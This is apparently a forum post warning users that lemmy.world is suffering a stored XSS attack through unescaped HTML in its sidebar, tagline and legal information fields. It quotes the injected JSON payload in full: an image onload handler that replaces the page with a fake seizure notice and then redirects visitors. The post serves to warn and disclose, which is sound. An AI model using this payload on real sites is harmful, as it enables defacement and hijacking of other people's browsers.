DO NOT OPEN THE “LEGAL” PAGE
lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar.
It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars.
EDIT:
the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter:
EDIT 2:
The legal information field also has that exploit, so that when you go to the “Legal” page it shows the HTML unescaped, but fortunately (for now) he’s using double-quotes.
"legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https://lemmy.kya.moe/imgproxy?src=lemmy.world%2fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")
